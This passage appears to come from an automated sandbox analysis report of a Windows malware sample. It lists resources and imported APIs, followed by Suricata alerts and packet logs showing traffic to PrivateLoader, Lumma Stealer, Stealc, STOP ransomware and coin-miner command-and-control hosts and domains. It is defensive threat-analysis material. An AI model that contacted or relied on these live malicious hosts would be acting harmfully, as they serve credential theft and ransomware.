RT_GROUP_ICON	0x82a000	0x4c	data	English	United States	0.7763157894736842
RT_GROUP_ICON	0x82a050	0x5a	data	English	United States	0.7
RT_HTML	0x82a0b0	0x3ab	HTML document, ISO-8859 text, with CRLF line terminators	German	Germany	0.402555910543131
RT_HTML	0x82a460	0x395	HTML document, ASCII text, with CRLF line terminators	German	Germany	0.3969465648854962
RT_MANIFEST	0x82a7f8	0x637	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4248900062853551

Imports

DLL	Import
KERNEL32.dll	InitializeCriticalSectionEx, CreateMutexA, lstrcatA, GetModuleHandleA, SetCurrentDirectoryA, Sleep, GetModuleHandleExA, GetFileAttributesA, GetBinaryTypeA, FindClose, SetFileAttributesA, VerSetConditionMask, WideCharToMultiByte, VerifyVersionInfoW, CreateProcessA, GetSystemTimeAsFileTime, HeapFree, lstrlenA, HeapAlloc, GetProcAddress, lstrcpynA, GetProcessHeap, WriteConsoleW, CloseHandle, CreateFileA, GetLastError, CreateFileW, WriteFile, lstrcpyA, ReadFile, HeapSize, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetCommandLineA, GetOEMCP, GetACP, IsValidCodePage, InitializeSListHead, ReleaseSRWLockExclusive, AcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, LocalFree, FindFirstFileExW, FindNextFileW, MultiByteToWideChar, QueryPerformanceFrequency, LCMapStringEx, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, GetCPInfo, GetStringTypeW, SetLastError, GetCurrentThread, GetThreadTimes, RtlUnwindEx, InterlockedPushEntrySList, RtlPcToFileHeader, RaiseException, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, SetFilePointerEx, GetFileType, GetCurrentProcess, ExitProcess, TerminateProcess, GetModuleHandleExW, GetModuleFileNameW, GetStdHandle, GetConsoleMode, ReadConsoleW, GetConsoleOutputCP, SetStdHandle, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, SetEndOfFile, GetFileSizeEx, FlushFileBuffers, HeapReAlloc, RtlUnwind
USER32.dll	GetCursorPos, CharNextA
ADVAPI32.dll	RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegOpenKeyExA, CryptReleaseContext
SHELL32.dll	SHGetFolderPathA, ShellExecuteA
ole32.dll	CoCreateInstance, CoInitializeSecurity, CoInitializeEx, CoUninitialize
OLEAUT32.dll	VariantClear, SysAllocString, SysFreeString
KERNEL32.dll	GetSystemTimeAsFileTime, CreateEventA, GetModuleHandleA, TerminateProcess, GetCurrentProcess, CreateToolhelp32Snapshot, Thread32First, GetCurrentProcessId, GetCurrentThreadId, OpenThread, Thread32Next, CloseHandle, SuspendThread, ResumeThread, WriteProcessMemory, GetSystemInfo, VirtualAlloc, VirtualProtect, VirtualFree, GetProcessAffinityMask, SetProcessAffinityMask, GetCurrentThread, SetThreadAffinityMask, Sleep, LoadLibraryA, FreeLibrary, GetTickCount, SystemTimeToFileTime, FileTimeToSystemTime, GlobalFree, HeapAlloc, HeapFree, GetProcAddress, ExitProcess, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection, MultiByteToWideChar, GetModuleHandleW, LoadResource, FindResourceExW, FindResourceExA, WideCharToMultiByte, GetThreadLocale, GetUserDefaultLCID, GetSystemDefaultLCID, EnumResourceNamesA, EnumResourceNamesW, EnumResourceLanguagesA, EnumResourceLanguagesW, EnumResourceTypesA, EnumResourceTypesW, CreateFileW, LoadLibraryW, GetLastError, FlushFileBuffers, FlsSetValue, GetCommandLineA, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, EncodePointer, DecodePointer, FlsGetValue, FlsFree, SetLastError, FlsAlloc, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, RaiseException, RtlPcToFileHeader, RtlUnwindEx, LCMapStringA, LCMapStringW, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, GetModuleFileNameA, FreeEnvironmentStringsA, GetEnvironmentStrings, FreeEnvironmentStringsW, GetEnvironmentStringsW, HeapSetInformation, HeapCreate, HeapDestroy, QueryPerformanceCounter, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, HeapSize, WriteFile, SetFilePointer, GetConsoleCP, GetConsoleMode, HeapReAlloc, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
German	Germany

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-21T08:33:51.910895+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49784	443	192.168.2.6	188.114.96.3
2024-08-21T08:33:55.668666+0200	TCP	2833438	ETPRO MALWARE STOP Ransomware CnC Activity	1	49786	80	192.168.2.6	190.13.174.94
2024-08-21T08:33:36.589601+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49782	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:12.418260+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49715	80	192.168.2.6	193.233.232.86
2024-08-21T08:32:52.428386+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49743	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:13.855740+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49722	80	192.168.2.6	162.241.203.25
2024-08-21T08:32:55.640235+0200	TCP	2055292	ET MALWARE Observed Lumma Stealer Related Domain (cagedwifedsozm .shop in TLS SNI)	1	49749	443	192.168.2.6	188.114.97.3
2024-08-21T08:33:01.650158+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49755	443	192.168.2.6	188.114.96.3
2024-08-21T08:32:14.033517+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49720	80	192.168.2.6	147.45.44.104
2024-08-21T08:32:14.343339+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49719	80	192.168.2.6	147.45.44.104
2024-08-21T08:32:54.277685+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49745	443	192.168.2.6	172.67.161.217
2024-08-21T08:32:11.204015+0200	TCP	2054710	ET MALWARE PrivateLoader CnC Response	1	80	49715	193.233.232.86	192.168.2.6
2024-08-21T08:32:54.768189+0200	TCP	2055294	ET MALWARE Observed Lumma Stealer Related Domain (charecteristicdxp .shop in TLS SNI)	1	49747	443	192.168.2.6	172.67.186.145
2024-08-21T08:32:53.334683+0200	UDP	2055299	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (interactiedovspm .shop)	1	58173	53	192.168.2.6	1.1.1.1
2024-08-21T08:33:01.168557+0200	TCP	2857975	ETPRO MALWARE Observed Lumma Domain in TLS SNI	1	49755	443	192.168.2.6	188.114.96.3
2024-08-21T08:32:57.335467+0200	UDP	2055303	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (southedhiscuso .shop)	1	58597	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:16.987292+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49719	80	192.168.2.6	147.45.44.104
2024-08-21T08:32:55.400218+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49748	443	192.168.2.6	188.114.96.3
2024-08-21T08:32:56.915723+0200	TCP	2055298	ET MALWARE Observed Lumma Stealer Related Domain (deicedosmzj .shop in TLS SNI)	1	49750	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:51.979091+0200	TCP	2055306	ET MALWARE Observed Lumma Stealer Related Domain (torubleeodsmzo .shop in TLS SNI)	1	49743	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:51.450048+0200	UDP	2055305	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (torubleeodsmzo .shop)	1	55931	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:58.251403+0200	UDP	2055295	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (consciousourwi .shop)	1	51429	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:56.095531+0200	UDP	2055297	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (deicedosmzj .shop)	1	56458	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:56.035084+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49749	443	192.168.2.6	188.114.97.3
2024-08-21T08:33:40.136550+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49783	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:55.165919+0200	UDP	2055291	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (cagedwifedsozm .shop)	1	61952	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:52.441012+0200	UDP	2055301	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (potentioallykeos .shop)	1	49791	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:14.621233+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49721	80	192.168.2.6	194.58.114.223
2024-08-21T08:32:15.083424+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49720	80	192.168.2.6	147.45.44.104
2024-08-21T08:32:57.820067+0200	TCP	2055304	ET MALWARE Observed Lumma Stealer Related Domain (southedhiscuso .shop in TLS SNI)	1	49751	443	192.168.2.6	172.67.178.83
2024-08-21T08:32:52.919362+0200	TCP	2055302	ET MALWARE Observed Lumma Stealer Related Domain (potentioallykeos .shop in TLS SNI)	1	49744	443	192.168.2.6	172.67.148.102
2024-08-21T08:33:32.621780+0200	TCP	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	49781	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:53.841319+0200	TCP	2055300	ET MALWARE Observed Lumma Stealer Related Domain (interactiedovspm .shop in TLS SNI)	1	49745	443	192.168.2.6	172.67.161.217
2024-08-21T08:32:59.448676+0200	UDP	2055307	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (weiggheticulop .shop)	1	60313	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:26.460989+0200	TCP	2054711	ET MALWARE PrivateLoader CnC Activity (POST)	1	49736	80	192.168.2.6	193.233.232.86
2024-08-21T08:32:15.003570+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49729	443	192.168.2.6	162.241.63.30
2024-08-21T08:33:00.677814+0200	UDP	2857974	ETPRO MALWARE Observed DNS Query to Lumma Domain	1	55793	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:53.329853+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49744	443	192.168.2.6	172.67.148.102
2024-08-21T08:32:14.976443+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49731	443	192.168.2.6	162.241.63.30
2024-08-21T08:32:55.164234+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49747	443	192.168.2.6	172.67.186.145
2024-08-21T08:32:07.741443+0200	TCP	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	49715	80	192.168.2.6	193.233.232.86
2024-08-21T08:33:55.872306+0200	TCP	2036335	ET MALWARE Win32/Filecoder.STOP Variant Public Key Download	1	80	49786	190.13.174.94	192.168.2.6
2024-08-21T08:32:57.333002+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49750	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:58.245531+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49751	443	192.168.2.6	172.67.178.83
2024-08-21T08:32:36.557705+0200	UDP	2036289	ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)	2	59992	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:54.279695+0200	UDP	2055293	ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (charecteristicdxp .shop)	1	55872	53	192.168.2.6	1.1.1.1
2024-08-21T08:32:58.719572+0200	TCP	2055296	ET MALWARE Observed Lumma Stealer Related Domain (consciousourwi .shop in TLS SNI)	1	49752	443	192.168.2.6	188.114.97.3
2024-08-21T08:32:07.069695+0200	TCP	2054709	ET MALWARE PrivateLoader CnC Activity (GET)	1	49713	80	192.168.2.6	147.45.47.57
2024-08-21T08:32:27.853793+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49739	80	192.168.2.6	193.176.190.41
2024-08-21T08:32:59.445313+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49752	443	192.168.2.6	188.114.97.3

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 08:31:54.804008961 CEST	49673	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:31:54.819597960 CEST	49674	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:31:55.116386890 CEST	49672	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:31:59.108309031 CEST	49713	80	192.168.2.6	147.45.47.57
Aug 21, 2024 08:31:59.113210917 CEST	80	49713	147.45.47.57	192.168.2.6
Aug 21, 2024 08:31:59.113390923 CEST	49713	80	192.168.2.6	147.45.47.57
Aug 21, 2024 08:31:59.113576889 CEST	49713	80	192.168.2.6	147.45.47.57
Aug 21, 2024 08:31:59.118495941 CEST	80	49713	147.45.47.57	192.168.2.6
Aug 21, 2024 08:32:04.413286924 CEST	49673	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:04.428910017 CEST	49674	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:04.725860119 CEST	49672	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:06.389206886 CEST	443	49705	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:06.389374971 CEST	49705	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:07.069694996 CEST	49713	80	192.168.2.6	147.45.47.57
Aug 21, 2024 08:32:07.072345972 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:07.077368975 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:07.077455044 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:07.077573061 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:07.082390070 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:07.687237978 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:07.707910061 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:07.707931042 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:07.708026886 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:07.710196972 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:07.710213900 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:07.741442919 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:08.162516117 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.162714005 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.165713072 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.165719986 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.166115046 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.210180044 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.239608049 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.280539989 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.376760006 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.376878977 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.376991034 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.377353907 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.377353907 CEST	49716	443	192.168.2.6	172.67.75.163
Aug 21, 2024 08:32:08.377368927 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.377377987 CEST	443	49716	172.67.75.163	192.168.2.6
Aug 21, 2024 08:32:08.389403105 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.389458895 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.389549971 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.389930010 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.389964104 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.863266945 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.863374949 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.865407944 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.865427971 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.865770102 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.866667032 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.912496090 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.995556116 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.995706081 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.995793104 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.996083975 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.996110916 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:08.996139050 CEST	49717	443	192.168.2.6	34.117.59.81
Aug 21, 2024 08:32:08.996154070 CEST	443	49717	34.117.59.81	192.168.2.6
Aug 21, 2024 08:32:11.199012041 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:11.199052095 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:11.204015017 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:11.204029083 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:12.418088913 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:12.418189049 CEST	80	49715	193.233.232.86	192.168.2.6
Aug 21, 2024 08:32:12.418260098 CEST	49715	80	192.168.2.6	193.233.232.86
Aug 21, 2024 08:32:13.025595903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.025597095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.030538082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.030551910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.030633926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.030633926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.040162086 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.040530920 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:13.041006088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.045176983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.045329094 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:13.045396090 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:13.045770884 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:13.045866013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.050627947 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:13.246696949 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.251468897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.251555920 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.251662016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.256550074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.257179022 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.257333040 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.262021065 CEST	80	49723	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.262088060 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.262176991 CEST	80	49724	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.262274027 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.262782097 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.262883902 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.267508984 CEST	80	49723	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.267699957 CEST	80	49724	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.664627075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.664748907 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.665025949 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.669843912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.671483994 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.671555042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.671793938 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.676584959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.716730118 CEST	80	49721	194.58.114.223	192.168.2.6
Aug 21, 2024 08:32:13.716835976 CEST	49721	80	192.168.2.6	194.58.114.223
Aug 21, 2024 08:32:13.727782965 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:13.727798939 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:13.727922916 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:13.728216887 CEST	49725	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:13.728230000 CEST	443	49725	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:13.735865116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.735929012 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.736366987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.739347935 CEST	80	49724	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.739358902 CEST	80	49724	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.739432096 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.739432096 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.739674091 CEST	49724	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.739933014 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.741173983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.744501114 CEST	80	49724	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.744788885 CEST	80	49726	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.744860888 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.745060921 CEST	49726	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.753859043 CEST	80	49726	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.757173061 CEST	80	49723	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.757251978 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.757455111 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.757682085 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.758493900 CEST	80	49723	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.758558989 CEST	49723	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.763442993 CEST	80	49723	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.763454914 CEST	80	49727	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.763537884 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.763680935 CEST	49727	80	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:13.768425941 CEST	80	49727	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:13.848830938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.848989010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.849404097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:13.854185104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:13.855660915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.855715036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.855726004 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.855740070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.855768919 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.860392094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.860404015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.860475063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.860524893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.860537052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.860572100 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.860614061 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.865127087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.865139961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.865202904 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.865264893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.865277052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.865298986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.865314007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.865349054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940371037 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940397024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940407991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940439939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940464973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940486908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940499067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940526962 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940541029 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940773010 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940783978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940799952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.940817118 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.940839052 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.941179991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.941189051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.941205978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:13.941226006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.941243887 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:13.941263914 CEST	80	49722	162.241.203.25	192.168.2.6
